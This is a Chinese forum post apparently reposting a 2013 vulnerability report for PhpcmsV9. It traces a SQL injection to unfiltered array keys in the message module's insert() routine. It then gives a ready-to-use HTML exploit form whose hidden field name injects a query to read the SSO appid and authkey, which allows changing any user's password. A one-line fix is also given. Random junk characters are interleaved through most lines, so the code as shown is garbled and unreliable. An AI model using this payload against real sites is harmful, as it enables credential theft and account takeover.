中国网络渗透测试联盟

标题: PhpcmsV9 SQL注射修改任意用户密码漏洞 [打印本页]

作者: admin    时间: 2013-2-23 11:33
标题: PhpcmsV9 SQL注射修改任意用户密码漏洞
简要描述:* n7 W. @1 ?2 |7 F; {% X9 B0 ?

. F$ F, ^* Z! E第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
: N7 b9 [6 v/ \$ r
" L  d- R7 i) p6 S明天再更新下一个漏洞。
5 l* C7 f" y- c6 q# \# Y- ~& M; i详细说明:
# t. j" ]% }" z在/phpcms9/phpcms/modules/message/index.php中有代码如下:4 k2 v% _3 Z% Y

; N6 F' j# P, z8 A% Q4 b9 O! Q$messageid = $this->message_db->insert($_POST['info'],true);$ c% G" r* |  A9 ^9 ^. y! Z9 d

) U, x" I/ n6 R( a' X
" N7 @& g  H$ i8 I! D7 k# Tinsert方法是key value的,代码如下:7 _5 R. Q1 z' N% G6 O$ H
" E  c2 f" i( M$ o
public function insert($data, $table, $return_insert_id = false, $replace = false) {0 @5 P; ]. I' j4 r; N1 j7 F
                if(!is_array( $data ) || $table == '' || count($data) == 0) {
* ^& l& O# i* z8 v% N( Q! k) D                        return false;9 g6 j6 Z% E0 x8 B& s5 }# c* o
                }$ j4 G+ K3 D6 w. i! F  z' V8 v
               
8 b4 F+ x( @2 a5 i0 A5 D                $fielddata = array_keys($data);
2 e# m  E) `! f4 n7 X! F) t                $valuedata = array_values($data);1 c8 a% S$ o) W
                array_walk($fielddata, array($this, 'add_special_char'));
2 Q: @& b+ V4 D- ^+ u                array_walk($valuedata, array($this, 'escape_string'));
2 y* T6 {; ]! M: E  j               
% B1 B3 r. ], i7 V3 W# i, |                $field = implode (',', $fielddata);
0 K7 q1 D. Z8 j                $value = implode (',', $valuedata);
6 W7 x" N3 n2 v( G) k& @: T; i- [; a6 q5 C, c3 V
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
  ~: l! Y9 l5 [: F                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
# q$ z  W% i- _) `- n" j                $return = $this->execute($sql);
. f% L: x% C$ |9 P5 H3 P0 B                return $return_insert_id ? $this->insert_id() : $return;' b, N4 c, v2 N; c$ r* P4 p
        }! V- V3 B8 f3 r, V' x( G6 b8 i- o" Z

  x+ h  s- Q) s; K& O; j9 J
6 `) R0 R, M' W3 D# `嗯,很遗憾的是
1 x4 \0 n0 X6 w: [5 k! D6 \* c% D7 E9 T$ e) p0 p
array_walk($fielddata, array($this, 'add_special_char'));3 m+ l/ P  u+ G6 i  r( d! Q( z0 e
0 j* L* H: q9 F+ y! B* Y

! |2 B7 R& c* z& G+ p2 z* }中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。) v5 n8 p" F, G! B' K5 H- O

* M( z5 M0 R4 [- n0 D6 f到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
2 ?( }6 H5 H% k/ I& \! ^$ m6 ~4 F) I  H- j0 ]0 _' p
漏洞证明:
( c, W/ l8 G" D  n9 V4 J读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。( Z: O/ C; ?) Z  q
[attach]200[/attach]# u! t5 T( O  V% K6 v
* L$ W/ |; _( |) q. u
表单如下:用户名什么的得自己改一改。5 h6 ~! ~3 Z4 n
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">  j1 i6 |0 _0 p/ `" n' G4 M
<table width="100%" cellspacing="0" class="table_form">
8 d; X1 n" P& F% U5 [5 o<tr>
2 r0 I, Z; D( s0 C: p7 j<th>标 题:</th>
% Z6 ]0 Q* O" T# |& |, E3 ?<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>! m# t5 {" e, |- `/ v# M2 {. Q
</tr>
/ O, ~4 z$ F$ R/ b, ^<tr>9 k7 {6 f- v0 x% F
<th>内 容:</th>
. O+ A8 U9 F- u/ W9 [, a4 S& s8 N<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
$ q0 W& ~# B" x# i</tr>( F0 H( b1 S) X, a( \
<input type="hidden" name="info[replyid]" value="2" /> / Z) x2 \; j. m9 X
<input type="hidden" name="info[send_to_id]" value="cc" />
- c5 Y" _' g/ R: }# q# l<input type="hidden" name="info[send_from_id]" value="hh">, V, S% U+ _/ r4 w3 r
<!-- 漏洞的利用重点在这里开始 -->
4 t: y! r+ B" s$ N- Y: W% S<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> 6 ?5 X' g6 }- I$ B. @
<!-- 漏洞的利用重点在这里结束 -->3 p( W6 D* s' R# b" D
<tr>
. {1 X% v# J4 n0 O! M7 R<th>验证码:</th>
# C9 h' p+ m4 ]+ }# _( C<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>$ S* t6 e: t3 T, e( I) q* ?
</tr>
* k! G8 q# B& K) V5 Y- X8 A  ?* s<tr>
' Z* [. c7 B  y! v<td></td>9 x0 t. J# j( g! g+ n
<td colspan="2"><label>
5 ~) J% C4 T  ?5 F% u: R+ V2 R1 ~<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
, z! N1 v) F& J5 W</label></td>6 N5 p5 N* R. E6 o* n
</tr>
2 v! c6 P7 u1 H% z$ L! `</table>
% i* o% m: Z0 Q</form>
: b" l# w4 y, O' Q+ B8 \! U在add_special_char函数内对key做过滤就可以了。6 \5 Z0 c9 u3 t1 ]

7 T$ w- Q4 b" p8 e$ S. K; Y- W" q
. s. F7 _4 T7 E  F





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2